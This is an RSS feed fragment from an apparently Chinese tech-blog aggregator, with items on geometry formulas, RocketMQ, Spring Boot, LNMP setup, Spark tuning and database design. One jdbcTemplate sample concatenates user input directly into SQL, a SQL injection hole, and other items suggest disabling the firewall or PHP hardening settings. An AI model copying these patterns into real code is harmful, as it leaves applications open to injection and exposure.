      <description> 作者：叶飞影&#xA;链接：https://www.zhihu.com/question/40422123/answer/86514178&#xA;来源：知乎&#xA;给定三角形三个顶点的坐标，如何求三角形的外心的坐标呢？&#xA;例如 ：给定a（x1,y1） b（x2,y2） c（x3,y3）求外接圆心坐标O（x，y）&#xA;1. 首先，外接圆的圆心是三角形三条边的垂直平分线的交点，我们根据圆心到顶点的距离相等，可以列出以下方程：&#xA;(x1-x)*(x1-x)+(y1-y)*(y1-y)=(x2-x)*(x2-x)+(y2-y)*(y2-y);&#xA;(x2-x)*(x2-x)+(y2-y)*(y2-y)=(x3-x)*(x3-x)+(y3-y)*(y3-y);&#xA;2.化简得到：&#xA;2*(x2-x1)*x+2*(y2-y1)y=x2^2+y2^2-x1^2-y1^2;&#xA;2*(x3-x2)*x+2*(y3-y2)y=x3^2+y3^2-x2^2-y2^2;&#xA;令:A1=2*(x2-x1)；&#xA;B1=2*(y2-y1)；&#xA;C1=x2^2+y2^2-x1^2-y1^2;&#xA;A2=2*(x3-x2)；&#xA;B2=2*(y3-y2)；&#xA;C2=x3^2+y3^2-x2^2-y2^2;&#xA;即:A1*x+B1y=C1;&#xA;A2*x+B2y=C2;&#xA;3.最后根据克拉默法则：&#xA;x=((C1*B2)-(C2*B1))/((A1*B2)-(A2*B1))；&#xA;y=((A1*C2)-(A2*C1))/((A1*B2)-(A2*B1))；&#xA;因此，x，y为最终结果；&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;已知三点坐标，求外接圆圆心坐标与半径。 a=((y2-y1)*(y3*y3-y1*y1+x3*x3-x1*x1)-(y3-y1)*(y2*y2-y1*y1+x2*x2-x1*x1))/(2.0*((x3-x1)*(y2-y1)-(x2-x1)*(y3-y1))); b=((x2-x1)*(x3*x3-x1*x1+y3*y3-y1*y1)-(x3-x1)*(x2*x2-x1*x1+y2*y2-y1*y1))/(2.0*((y3-y1)*(x2-x1)-(y2-y1)*(x3-x1))); r^2=(x1-a)*(x1-a)+(y1-b)*(y1-b);（此处为r的平方） </description>
    </item>
    <item>
      <title>RocketMQ 简介 -- Broker</title>
      <link>https://bchobby.github.io/posts/56e694a52a0c61568e309e8e185fbe5f/</link>
      <pubDate>Thu, 12 Apr 2018 18:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56e694a52a0c61568e309e8e185fbe5f/</guid>
      <description> RocketMQ Broker RocketMQ Broker 概述处理Producer消息处理Consumer消息内部服务 概述 Broker即是物理上的概念，也是逻辑上的概念。多个物理Broker通过IP:PORT区分，多个逻辑Broker通过BrokerName区分。多个逻辑Broker组成Cluster。Broker与Topic是多对多的关系。Broker自身包含一个使用10911端口的NettyServer、一个10909的NettyServer，以及一个NettyClient。HA通过10912端口提供服务，用于Broker内部各个部分的数据传输。Broker是最重要的部分，包括持久化消息、Broker集群一致性(HA)、保存历史消息、保存Consumer消费偏移量、索引创建等。Producer发送来的消息最终会通过CommitLog序列化到硬盘，执行序列化逻辑的类为AppendMessageCallback接口的实现类。Broker序列化消息是顺序写，序列化文件保存在userHome/store/commitlog目录下，文件名为总偏移量。默认为异步刷盘、提交日志单个文件1个G、单个consumer队列文件为不到6M 处理Producer消息 Broker通过SendMessageProcessor.processRequest()处理Producer生成的消息，处理过程如下：&#xA;反序列化消息头为SendMessageRequestHeader对象实例。构建消息上下文执行前置钩子程序处理message 判断当前系统时间是否在Broker配置的服务时间之后，只有条件成立broker才提供服务。判断当前Broker是否允许写入判断Topic是否为默认Topic检查Topic是否存在于此Broker，不存在则尝试创建Topic检查消息头中的queueId是否大于等于Topic允许的最大对列数。处理retry和死信消息(如果消息的Topic为重试Topic，且重试次数大于最大重试次数则将消息放入死信Topic中)根据Broker的配置和消息的TRAN_MSG属性判断是否处理事务消息将消息转化后的MessageExtBrokerInner对象序列化通过MessageStore序列化到硬盘(从Broker不允许序列化、不允许写的Broker不允许序列化、Topic长度不能大于127、Mssage属性的长度不能大于32767、页缓存不能在忙的状态–根据时间判断)通过CommitLog将消息序列化到硬盘 获取最新的MappedFile(因为是顺序写)后加锁获取MappedFile当前的写入位置从内存池(TransientStorePool)中获取内存，并将当前写入位置赋值到内存ByteBuffer中获取总偏移量(由于CommitLog下文件名是本文件起始位置在Broker提供服务后的偏移量位置，所以当前MappedFile的起始偏移量+文件写入偏移量为总偏移量)按照预定义格式将消息序列化到ByteBuffer中，具体序列化格式参见CommitLog.calMsgLength中的注释调用刷盘、HA逻辑，根据当前Broker的状态进行实际处理。将新的偏移量设置到MappedFile以上过程对TransactionMessage特殊处理，符合TRANSACTION_PREPARED_TYPE和TRANSACTION_ROLLBACK_TYPE类型的事务消息对Consumer不可见的逻辑，queueOffset为0。执行后置钩子程序 处理Consumer消息 Broker通过PullMessageProcessor.processRequest()处理Consumer生成的消息，处理过程如下：&#xA;判断当前Broker是否允许读根据消息头的ConsumerGroupName获取本地存储的Consumer订阅信息从ConsumeQueue中的MappedFileQueue根据偏移量获得MappedQueue获取消息从MappedQueue中根据偏移量获取消息返回 内部服务 Broker内部有各种服务用于实现特定的功能，简介如下：&#xA;IndexService，用于构建消息序列化文件的索引信息。将索引信息序列化到userName/store/index/当前时间文件中。AllocateMappedFileService，用于分配SubmitLog序列化使用的MappedFile。FlushConsumeQueueService，定时刷新ConsumeQueue到硬盘。TransientStorePool，类似于内存池，供各个MappedFile在序列化时借用内存处理。ScheduleMessageService，用于处理定时消息。ReputMessageService，重新分布消息同时会触发重新索引HAService，主、从Broker之间进行数据同步，只传输CommitLog序列化的消息。CleanCommitLogService，默认删除72小时之前过期的CommitLog序列化的消息。CleanConsumeQueueService，根据偏移量删除过期的ConsumeQueue，偏移量的值由最老的序列化消息文件决定。PullRequestHoldService，用于执行之前为未到数据且请求偏移量为0的PullRequest操作(即新注册的Consumer)，对于未找到数据的Pull操作不会返回给Consumer，而是待PullRequestHoldService本地代理请求。ClientHousekeepingService，扫描Producer、Consumer、FilterServer中超过120s未活动的NettyChannel，将不活动的Channel删除。FilterServerManager，此服务用于根据需要创建一到多个Java进程：FilterServer，FilterServer用于本地代理Consumer，过滤Broker的Message后给Consumer。 </description>
    </item>
    <item>
      <title>4种认证（authentication）或授权（authorization）方式</title>
      <link>https://bchobby.github.io/posts/697b19180c6720c68cbb392cfc52dd76/</link>
      <pubDate>Thu, 12 Apr 2018 11:05:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/697b19180c6720c68cbb392cfc52dd76/</guid>
      <description>Authentication vs. authorization It is easy to confuse authentication with another element of the security plan: authorization. While authentication verifies the user’s identity, authorization verifies that the user in question has the correct permissions and rights to access the requested resource. As you can see, the two work together. Authentication occurs first, then authorization. authentication 认证访问者是谁 authorization 访问权限&#xA;authentication 一般包含两个步骤，第一步，用户需要安装服务提供的授权证书，或者用户需要使用API服务中已经存储的某个账户，也可以创建一个；第二步，每次发送请求到API服务时需要带上证书，因为RESTful API 是不会记录客户端与服务端的会话，无状态限制。&#xA;有些认证技术还涉注册，客户端需要安装证书，并且按需要安装用户个人的证书，客户端需要将客户端的证书和用户证书一起携带发送请求。&#xA;Basic Authentication HTTP Basic authentication is described in RFC 2617.</description>
    </item>
    <item>
      <title>如何用手机访问电脑本地 localhost 网页或者服务器, 以调试web项目</title>
      <link>https://bchobby.github.io/posts/89e5c86b4d19772b72e30c7cf0a77991/</link>
      <pubDate>Thu, 12 Apr 2018 09:51:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89e5c86b4d19772b72e30c7cf0a77991/</guid>
      <description>最近开始转向移动开发方向，因此对于一个移动开发的前端来说，使用各种真机来进行自己网站或者系统的界面进行针对性的调试就显的尤为重要了。因此，会经常通过电脑开启一个 wifi 来供手机进行连接，形成一个小的局域网，然后就通过局域网的 ip 地址（查询 ip 地址，cmd——》ipconfig）, 通过 ip 地址来进行自己本地服务器中的项目访问。本以为这种小 case 的东西可以分分钟搞定，可是，可是，可是偏偏就出现了无妨访问的情况。如下图所示： 看到这个就泪奔了，竟然直接访问不到本地服务器啊。对于这种情况有两种解决方案：&#xA;方案一：暴力解决（当然不是砸电脑，摔手机）。出现该问题主要是因为你电脑的防火墙将某些端口号的 htpp 的网络访问协议给屏蔽掉了（一般的电脑操作系统是默认不屏蔽 80,8080 一些常用的端口的），所以你可以直接将自己的电脑的防火墙全部关闭。然后就可以完美访问了。具体设置路径给一下（方便菜鸟使用）：控制面板 \ 所有控制面板项 \ Windows 防火墙 \ 自定义设置。&#xA;下面具体来讲解一下方案二：对于这种暴力方式还是很不友好的。为此，我们可以直接在防火墙中将 80 和 8080 端口设置为不屏蔽即可。具体操作如下，首先进入到 windows 防火墙面板，点击高级设置&#xA;进入到高级设置界面，分别在入站规则和出站规则中新建规则，选择端口，点击下一步，然后直接在对应的输入框中输入 80，然后默认点击下一步，完成。同样设置 8080 的这样一个规则。整个设置完成过后，手机就可以通过局域网来进行 ip 地址的访问了。&#xA;转自：https://blog.csdn.net/fly_home_ysc/article/details/49912621</description>
    </item>
    <item>
      <title>Spring Boot &#43; MongoDB实现作品或文章的三级评论</title>
      <link>https://bchobby.github.io/posts/1dbd645628e4e7a4e325b334144004c6/</link>
      <pubDate>Wed, 11 Apr 2018 19:29:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dbd645628e4e7a4e325b334144004c6/</guid>
      <description>用Spring Boot + MongoDB，做一个作品评论的功能，用户可以发表评论；其他用户可以对作品现有的评论进行回复；最顶级的评论者，可以对回复评论的人再回复评论。其中，评论的数据结构如下：&#xA;t_resource_comment { _id:, resource_id: 123, comment_user_id: &#34;A&#34;, comment_user_name:, comment_content: &#34;A的评论&#34;, ctime:, status:, comment_responses: [ { response_user_id: &#34;B&#34;, response_user_name:, response_content:[ {ctime:, content:&#34;B给A的第一个评论&#34;}, {ctime:, content:&#34;B给A的第二个评论&#34;}, {ctime:, content:&#34;B给A的第三个评论&#34;} ] get_reply:[ {ctime:, content:&#34;这是A给B的某一个评论的回复如果有就对应插入index对应的元素没有就是空串&#34;}, {ctime:, content:&#34;A没有回复B这一条就是空串&#34;}, {ctime:, content:&#34;A个神经病跳着回复了这一条评论，这数组的第三个元素就是A回复的内容&#34;} ] }, { response_user_id: &#34;C&#34;, response_user_name:, response_content:[ {ctime:, content:&#34;C给A的第一个评论&#34;}, {ctime:, content:&#34;C给A的第二个评论&#34;}, {ctime:, content:&#34;C给A的第三个评论&#34;} ] get_reply:[ {ctime:, content:&#34;这是A给C的某一个评论的回复如果有就对应插入index对应的元素没有就是空串&#34;}, {ctime:, content:&#34;A没有回复C这一条就是空串&#34;}, {ctime:, content:&#34;A个神经病跳着回复了这一条评论，这数组的第三个元素就是A回复的内容&#34;} ] }, ... ] } 比如，A对文章或作品123发表了一个评论；B看到发表的评论后，给A的评论回复了一个评论；A看到B的回复后，又对B的回复评论做了一个回复。一共三级。&#xA;创建一个Spring Boot项目，pom.xml如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;</description>
    </item>
    <item>
      <title>Parallels Desktop中Windows虚拟机卡死问题解决方法</title>
      <link>https://bchobby.github.io/posts/84d593d6fba180e9eaa689436743e86c/</link>
      <pubDate>Wed, 11 Apr 2018 17:03:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84d593d6fba180e9eaa689436743e86c/</guid>
      <description>相信很多苹果电脑的友友对Parallels Desktop这个软件都十分熟悉。对于那些主力操作系统是OS X，但是有些工作不得不用到Windows的朋友来说， Parallels Desktop是最好的虚拟机软件之一，它安装虚拟系统简洁方便，融合模式下更是将微软与苹果两大公司操作系统的优势充分结合（前提是性能给力）。但是有些时候，它Parallels虚拟机也会出现卡死问题。当然，在我使用过程中，这种情况出现过多次，但是一旦出现，也会让我十分头疼。&#xA;当Parallels Desktop中的Windows 7卡死不动的时候，不管重启Parallels Desktop多少次，甚至重启电脑也无济于事。当然，防患于未然，你可以点击Parallels Desktop虚拟机名称下的小齿轮图标，把“窗口关闭时”的选项选为“强制关闭虚拟系统”，如下图：&#xA;但是，当Windows卡死在重新恢复（Resume）的时候，这一招就不灵啦，因为Parallels Desktop一定要你先重新打开Windows，然后才能更改这项设置。可是我要能进入Windows系统，我还设置个毛……&#xA;所以你应该这样：&#xA;1、打开活动监视器（Activity Monitor）, 就是这货：&#xA;2、然后找到卡住的Windows：&#xA;3、点击左上角“X”号把它关了，然后在Parallels Desktop里重新打开Windows 7，大功告成！&#xA;本文摘自: http://www.zhinin.com/mac_course-28.html</description>
    </item>
    <item>
      <title>LNMP Laravel环境搭建</title>
      <link>https://bchobby.github.io/posts/626998b2341435483f4f7ca73ed7c244/</link>
      <pubDate>Tue, 10 Apr 2018 22:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/626998b2341435483f4f7ca73ed7c244/</guid>
      <description>LNMP 安装 1， 一键安装 LNMP 2，从 git 仓库 clone 代码到本地 （同时检查 .env 配置是否正确） 3，执行 composer update -o -vvv 安装第三方依赖 如果报错&#xA;[Symfony\Component\Process\Exception\RuntimeException] The Process class relies on proc_open, which is not available on your PHP installation.&#xA;则修改 /usr/local/php/etc/php.ini 文件&#xA;sudo vim /usr/local/php/etc/php.ini 搜索 disable_functions 找到 proc_open 删除 这里同时打开报错提醒，方便排除其它问题 搜索 display_errors，设置为 On 4，配置虚拟主机 执行 nmp vhost add 添加 server，根据提示一步步设置好（比如这里设置了 darren.test 域名）&#xA;编辑生成的 server 文件，参考（注意不要直接粘贴，很有可能会导致编码错误）&#xA;这里直接记录修改过后测试可用的配置文件如下&#xA;server { listen 80; #listen [::]:80; server_name blog.</description>
    </item>
    <item>
      <title>利用Python Crypto生成RSA公钥私钥</title>
      <link>https://bchobby.github.io/posts/ff02defcfaa835207a4fef6185218931/</link>
      <pubDate>Tue, 10 Apr 2018 21:41:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff02defcfaa835207a4fef6185218931/</guid>
      <description># -*- coding: utf-8 -*- from Crypto import Random from Crypto.PublicKey import RSA print &#34;generate private key and pulic key&#34; # 参考 C:\Python27\Lib\site-packages\Crypto\PublicKey\RSA.py ###################################################### # 利用伪随机数来生成私钥和公钥 random_generator = Random.new().read rsa = RSA.generate(2048, random_generator) private_pem = rsa.exportKey() f = open(&#39;MY_KEY1_pri.pem&#39;, &#39;w&#39;) f.write(private_pem) f.close() public_pem = rsa.publickey().exportKey() f = open(&#39;MY_KEY1_pub.pem&#39;, &#39;w&#39;) f.write(public_pem) f.close() ###################################################### # 利用默认的generate来生成私钥和公钥 rsa = RSA.generate(2048) private_pem = rsa.exportKey(&#39;PEM&#39;) f = open(&#39;MY_KEY2_pri.pem&#39;,&#39;w&#39;) f.write(private_pem) f.close() public_pem = rsa.publickey().exportKey() f = open(&#39;MY_KEY2_pub.</description>
    </item>
    <item>
      <title>spark性能优化：数据倾斜调优</title>
      <link>https://bchobby.github.io/posts/825e34432f4edc948e395d3e269e47d7/</link>
      <pubDate>Tue, 10 Apr 2018 14:19:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/825e34432f4edc948e395d3e269e47d7/</guid>
      <description>原博文出自于:　http://www.cnblogs.com/zlslch/p/6046276.html　感谢！&#xA;调优概述 有的时候，我们可能会遇到大数据计算中一个最棘手的问题——数据倾斜，此时Spark作业的性能会比期望差很多。数据倾斜调优，就是使用各种技术方案解决不同类型的数据倾斜问题，以保证Spark作业的性能。&#xA;数据倾斜是多么痛？！！！&#xA;如果数据倾斜没有解决，完全没有可能进行性能调优，其他所有的调优手段都是一个笑话。数据倾斜是最能体现一个spark大数据工程师水平的性能调优问题。&#xA;数据倾斜如果能够解决的话，代表对spark运行机制了如指掌。&#xA;数据倾斜俩大直接致命后果&#xA;1 数据倾斜直接会导致一种情况：OOM。&#xA;2 运行速度慢,特别慢，非常慢，极端的慢，不可接受的慢。&#xA;我们以100亿条数据为列子。个别Task(80亿条数据的那个Task)处理过度大量数据。导致拖慢了整个Job的执行时间。这可能导致该Task所在的机器OOM,或者运行速度非常慢。&#xA;数据倾斜的原因&#xA;在Shuffle阶段。同样Key的数据条数太多了。导致了某个key(上图中的80亿条)所在的Task数据量太大了。远远超过其他Task所处理的数据量。&#xA;而这样的场景太常见了。二八定律可以证实这种场景。&#xA;搞定数据倾斜需要&#xA;1 搞定shuffle&#xA;2 搞定业务场景&#xA;3 搞定 cpu core的使用情况&#xA;4 搞定OOM的根本原因等。&#xA;所以搞定了数据倾斜需要对至少以上的原理了如指掌。所以搞定数据倾斜是关键中的关键。&#xA;告诉大家一个屡试不爽的经验结论：一般情况下，OOM的原因都是数据倾斜。某个task任务数据量太大，GC的压力就很大。这比不了Kafka,因为kafka的内存是不经过JVM的。是基于Linux内核的Page.&#xA;数据倾斜发生的原理 数据倾斜的原理很简单：在进行shuffle的时候，必须将各个节点上相同的key拉取到某个节点上的一个task来进行处理，比如按照key进行聚合或join等操作。此时如果某个key对应的数据量特别大的话，就会发生数据倾斜。比如大部分key对应10条数据，但是个别key却对应了100万条数据，那么大部分task可能就只会分配到10条数据，然后1秒钟就运行完了；但是个别task可能分配到了100万数据，要运行一两个小时。因此，整个Spark作业的运行进度是由运行时间最长的那个task决定的。&#xA;因此出现数据倾斜的时候，Spark作业看起来会运行得非常缓慢，甚至可能因为某个task处理的数据量过大导致内存溢出。&#xA;下图就是一个很清晰的例子：hello这个key，在三个节点上对应了总共7条数据，这些数据都会被拉取到同一个task中进行处理；而world和you这两个key分别才对应1条数据，所以另外两个task只要分别处理1条数据即可。此时第一个task的运行时间可能是另外两个task的7倍，而整个stage的运行速度也由运行最慢的那个task所决定。&#xA;如何定位导致数据倾斜的代码 数据倾斜只会发生在shuffle过程中。这里给大家罗列一些常用的并且可能会触发shuffle操作的算子：distinct、groupByKey、reduceByKey、aggregateByKey、join、cogroup、repartition等。出现数据倾斜时，可能就是你的代码中使用了这些算子中的某一个所导致的。&#xA;某个task执行特别慢的情况 首先要看的，就是数据倾斜发生在第几个stage中。&#xA;如果是用yarn-client模式提交，那么本地是直接可以看到log的，可以在log中找到当前运行到了第几个stage；如果是用yarn-cluster模式提交，则可以通过Spark Web UI来查看当前运行到了第几个stage。此外，无论是使用yarn-client模式还是yarn-cluster模式，我们都可以在Spark Web UI上深入看一下当前这个stage各个task分配的数据量，从而进一步确定是不是task分配的数据不均匀导致了数据倾斜。&#xA;比如下图中，倒数第三列显示了每个task的运行时间。明显可以看到，有的task运行特别快，只需要几秒钟就可以运行完；而有的task运行特别慢，需要几分钟才能运行完，此时单从运行时间上看就已经能够确定发生数据倾斜了。此外，倒数第一列显示了每个task处理的数据量，明显可以看到，运行时间特别短的task只需要处理几百KB的数据即可，而运行时间特别长的task需要处理几千KB的数据，处理的数据量差了10倍。此时更加能够确定是发生了数据倾斜。&#xA;知道数据倾斜发生在哪一个stage之后，接着我们就需要根据stage划分原理，推算出来发生倾斜的那个stage对应代码中的哪一部分，这部分代码中肯定会有一个shuffle类算子。精准推算stage与代码的对应关系，需要对Spark的源码有深入的理解，这里我们可以介绍一个相对简单实用的推算方法：只要看到Spark代码中出现了一个shuffle类算子或者是Spark SQL的SQL语句中出现了会导致shuffle的语句（比如group by语句），那么就可以判定，以那个地方为界限划分出了前后两个stage。&#xA;这里我们就以Spark最基础的入门程序——单词计数来举例，如何用最简单的方法大致推算出一个stage对应的代码。如下示例，在整个代码中，只有一个reduceByKey是会发生shuffle的算子，因此就可以认为，以这个算子为界限，会划分出前后两个stage。&#xA;1、stage0，主要是执行从textFile到map操作，以及执行shuffle write操作。shuffle write操作，我们可以简单理解为对pairs RDD中的数据进行分区操作，每个task处理的数据中，相同的key会写入同一个磁盘文件内。&#xA;2、stage1，主要是执行从reduceByKey到collect操作，stage1的各个task一开始运行，就会首先执行shuffle read操作。执行shuffle read操作的task，会从stage0的各个task所在节点拉取属于自己处理的那些key，然后对同一个key进行全局性的聚合或join等操作，在这里就是对key的value值进行累加。stage1在执行完reduceByKey算子之后，就计算出了最终的wordCounts RDD，然后会执行collect算子，将所有数据拉取到Driver上，供我们遍历和打印输出。&#xA;val conf = new SparkConf() val sc = new SparkContext(conf) val lines = sc.</description>
    </item>
    <item>
      <title>SpringBoot错误处理机制以及自定义异常处理</title>
      <link>https://bchobby.github.io/posts/97317ac215f9fa890c05abbc162746d7/</link>
      <pubDate>Tue, 10 Apr 2018 12:58:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97317ac215f9fa890c05abbc162746d7/</guid>
      <description>上篇文章我们讲解了使用Hibernate Validation来校验数据，当校验完数据后，如果发生错误我们需要给客户返回一个错误信息，因此这节我们来讲解一下SpringBoot默认的错误处理机制以及如何自定义异常来处理请求错误。&#xA;一、SpringBoot默认的错误处理机制 我们在发送一个请求的时候，如果发生404 SpringBoot会怎么处理呢？我们来发送一个不存在的请求来验证一下看看页面结果。如下所示： 当服务器内部发生错误的时候，页面会返回什么呢？&#xA;@GetMapping(&#34;/user/{id:\\d+}&#34;) public User get(@PathVariable String id) { throw new RuntimeException(); } 我们会发现无论是发生什么错误，SpringBoot都会返回一个状态码以及一个错误页面，这个错误页面是怎么来的呢？ 我们来看看SpringBoot错误处理模块的源码就会非常清楚，默认的发生错误，它会将请求转发到BasicErrorController控制器来处理请求，下面是该controller类的源码：&#xA;@Controller @RequestMapping(&#34;${server.error.path:${error.path:/error}}&#34;) public class BasicErrorController extends AbstractErrorController { private final ErrorProperties errorProperties; /** * Create a new {@link BasicErrorController} instance. * @param errorAttributes the error attributes * @param errorProperties configuration properties */ public BasicErrorController(ErrorAttributes errorAttributes, ErrorProperties errorProperties) { this(errorAttributes, errorProperties, Collections.&amp;lt;ErrorViewResolver&amp;gt;emptyList()); } /** * Create a new {@link BasicErrorController} instance. * @param errorAttributes the error attributes * @param errorProperties configuration properties * @param errorViewResolvers error view resolvers */ public BasicErrorController(ErrorAttributes errorAttributes, ErrorProperties errorProperties, List&amp;lt;ErrorViewResolver&amp;gt; errorViewResolvers) { super(errorAttributes, errorViewResolvers); Assert.</description>
    </item>
    <item>
      <title>微信H5移动端真机调试--vConsole</title>
      <link>https://bchobby.github.io/posts/143b471f64d3182366f65c0e27dd5595/</link>
      <pubDate>Mon, 09 Apr 2018 17:56:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/143b471f64d3182366f65c0e27dd5595/</guid>
      <description>在移动端实际开发中，还是会碰到一些棘手的bug，想看看到底哪里出了问题，苦于移动端不能F12啊。友好的微信给我们提供了这么一个入口，使开发者可以真机调试。给微信开发者点赞。然后就可以看到你打印的内容及其他的信息，比如cookie、LocalStorage,Network、Element……&#xA;微信打开这个网址 http://debugx5.qq.com/ 暖心的我给你准备好了二维码，扫一扫吧（不要太感动……） 进去后，选择中间‘’信息‘’，然后一直往下翻，把vConsole打开，把下面两个Content Cache关掉。 然后打开你要调试的页面，你就你能看到右下角有个绿色按钮vConsole。点击就能查看你代码中console的内容了。 其实还有一种方法是引入vConsole文件。就直接可以看到打印的东西了。他们讲的很明白，我就不多说了。 https://github.com/Tencent/vConsole/blob/dev/doc/tutorial_CN.md 再次感谢腾讯爸爸，是不是意犹未尽，但是已经结束了……</description>
    </item>
    <item>
      <title>windows7 安装XShell5时提示Microsoft Visual C&#43;&#43;2012 Redistributable package(x86)安装失败</title>
      <link>https://bchobby.github.io/posts/4a46c464b16526df566199cee6c29ccf/</link>
      <pubDate>Mon, 09 Apr 2018 13:26:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a46c464b16526df566199cee6c29ccf/</guid>
      <description> windows7下安装XShell5时可能会有如下提示：&#xA;Microsoft Visual C++2012 Redistributable package(x86)安装失败&#xA;在控制面板-&amp;gt;程序-&amp;gt;程序和功能中查看，本机已安装Microsoft Visual C++2013 Redistributable (x86)。&#xA;解决办法如下：&#xA;以管理员身份运行以下命令（注意“=”号后面要有一个空格）： sc config wuauserv start= auto sc config bits start= auto sc config DcomLaunch start= auto net stop wuauserv net start wuauserv net stop bits net start bits net start DcomLaunch 再次安装XShell5成功 </description>
    </item>
    <item>
      <title>使用Spring Initializr快速生成maven（springboot）项目</title>
      <link>https://bchobby.github.io/posts/09808216c7a2ed46c543a4dfee7a8592/</link>
      <pubDate>Sun, 08 Apr 2018 21:57:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09808216c7a2ed46c543a4dfee7a8592/</guid>
      <description>本文将使用SPRING INITIALIZR创建一个简单的springboot项目(Maven)，通过浏览器发出一个请求，返回hello world。&#xA;1. 打开网址：http://start.spring.io/&#xA;填写group和artifact等信息，并选择一个依赖web，单击生成项目，解压文件，使用ecplise导入maven项目。&#xA;2. eclipse导入Maven项目&#xA;3. 看目录结构中有一个DemoMySpringBootApplication类，就是启动类。&#xA;4.在目录中添加一个controller类 Econtroller.java输出Hello Word.&#xA;注意这边的DemoMySpringBootApplication的位置和EController的位置。一定要在父类的低下，如A在com.A中，那B在com.A.xxx中。不然会报错&#xA;5.会遇到的错误，就是pom.xml头部有红叉，显示Description Resource Path Location Type org.apache.maven.archiver.MavenArchiver.getManifest(org.apache.maven.project.MavenProject, org.apache.maven.archiver.MavenArchiveConfiguration) pom.xml /DemoMySpringBoot line 1 Maven Configuration Problem 错误，解决办法:&#xA;5.1:help-&amp;gt;Install New SoftWare 点击ADD&#xA;在Location中写成:https://otto.takari.io/content/sites/m2e.extras/m2eclipse-mavenarchiver/0.17.2/N/LATEST/&#xA;Name:MavenArchiver&#xA;点击Next，一直到eclipse重启后再-&amp;gt;Maven-&amp;gt;Update Protect&#xA;7.到此可能遇到的问题基本可以解决，在有问题可以一起来讨论，直接运行启动类，DemoMySpringBootApplication，之后再浏览器运行对应的路劲 http://localhost:8080/MyTest/hello&#xA;8.使用springboot集成的junit来测试hello word ，src/test/java下的一个测试类中编写如下：&#xA;@RunWith(SpringRunner.class) @SpringBootTest public class FirstSpringBootM2ApplicationTests { private MockMvc mvc; //在测试之前给mvc知道要测试哪一个controller类 @Before public void setup() throws Exception{ mvc=MockMvcBuilders.standaloneSetup(new EController()).build(); } @Test public void contextLoads() throws Exception{ mvc.perform(MockMvcRequestBuilders.get(&#34;/MyTest/hello&#34;));&#x9;} }输出控制台hello word .</description>
    </item>
    <item>
      <title>数据库表的设计</title>
      <link>https://bchobby.github.io/posts/18ca722fc51aaa4fc6ba8bb097bcb3ec/</link>
      <pubDate>Sun, 08 Apr 2018 20:28:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18ca722fc51aaa4fc6ba8bb097bcb3ec/</guid>
      <description>一 软件开发周期 1 需求分析阶段（非常粗略东西 作为开发人员非常茫然 不知道如何入手）（需求规格说明书） 弄清项目客户需要什么东西 什么时候完成 达到什么质量 2 概要设计阶段(将客户需要东西 转换成图形的格式（ER图） 开发人员慢慢理解需要开发东西 ） 【数据库设计人员（DBA）|开发人员】将ER图转换成 概念模型图（表） 【架构设计人员(架构设计师)|开发人员】（使用的技术+如何实现技术+原型） 二 数据库设计 1 会使用工具设计概念模型图 E （Entity） 对象-（数据 - 属性 - 列） R （RelationShip） 对象和对象之间的关系 1-多 （1用户 发表多篇文章 某篇文章只能属于一个用户 ） 1-1 （1个人 1个身份证） 多-多(1用户-多个权限 ，某个权限-多个权限) 如何确定双方实体的关系 主表 + 从表 1对1 主表中的任意一条数据 只能在从表中 存在一条数据对应 从表中的任意一条数据也只能在主表中找到一条数据对应 1对多 主表中的任意一条数据 可以在从表中找到多条数据对应 但是从表中任意一条数据只能 在主表中找到一条数据对应 多对多 主表中的任意一条数据 可以在从表中找到多条数据对应 从表中任意一条数据只能 在主表中找到多条数据对应 分析员工表和部门表的关系 员工表 主表 部门表 从表 多对一 三 powerdesigner应该注意的 1 oracle关键字 默认带有双引号 必须去除 选中物理模型图 --数据库- edit current dbms - script -sql - format -case sensitivity usingquote 勾选no 在表中体现关系 1对1 在任何一张表中添加对方的主键作为外键 并且在外键列上加上唯一约束 1对多 在多的一方的表中添加对方的主键作为外键 多对多 产生一张新表 新表中存在两个字段 这两个字段就是两张表的主键（联合组件） 三 ER不同的设计体现 概念模型 设计的是实体（一定要有P （唯一标识符）），属性，关系（1-1 。。。1.</description>
    </item>
    <item>
      <title>spring--jdbcTemplate查询返回对象集合</title>
      <link>https://bchobby.github.io/posts/1c378a3cf1f7c492d0a2920c149accb1/</link>
      <pubDate>Sun, 08 Apr 2018 20:27:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c378a3cf1f7c492d0a2920c149accb1/</guid>
      <description> public class News { private String id; private String title; private String content; private String time; private String htmlPath; set/get... } public List&amp;lt;News&amp;gt; queryNewsByContent(String content) { String sql = &#34;select id,title,content from news where content like &#39;%&#34; + content + &#34;%&#39;&#34;; List&amp;lt;News&amp;gt; list = jdbcTemplate.query(sql, new RowMapper&amp;lt;News&amp;gt;() { @Override public News mapRow(ResultSet rs, int rowNum) throws SQLException { News news = new News(); news.setId(rs.getString(&#34;id&#34;)); news.setTitle(rs.getString(&#34;title&#34;)); news.setContent(rs.getString(&#34;content&#34;)); return news; } }); return list; } </description>
    </item>
    <item>
      <title>查看系统硬件信息（CPU、内存、磁盘、网卡）</title>
      <link>https://bchobby.github.io/posts/787084c96179fe459fe6b1e4b394566b/</link>
      <pubDate>Sun, 08 Apr 2018 18:13:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/787084c96179fe459fe6b1e4b394566b/</guid>
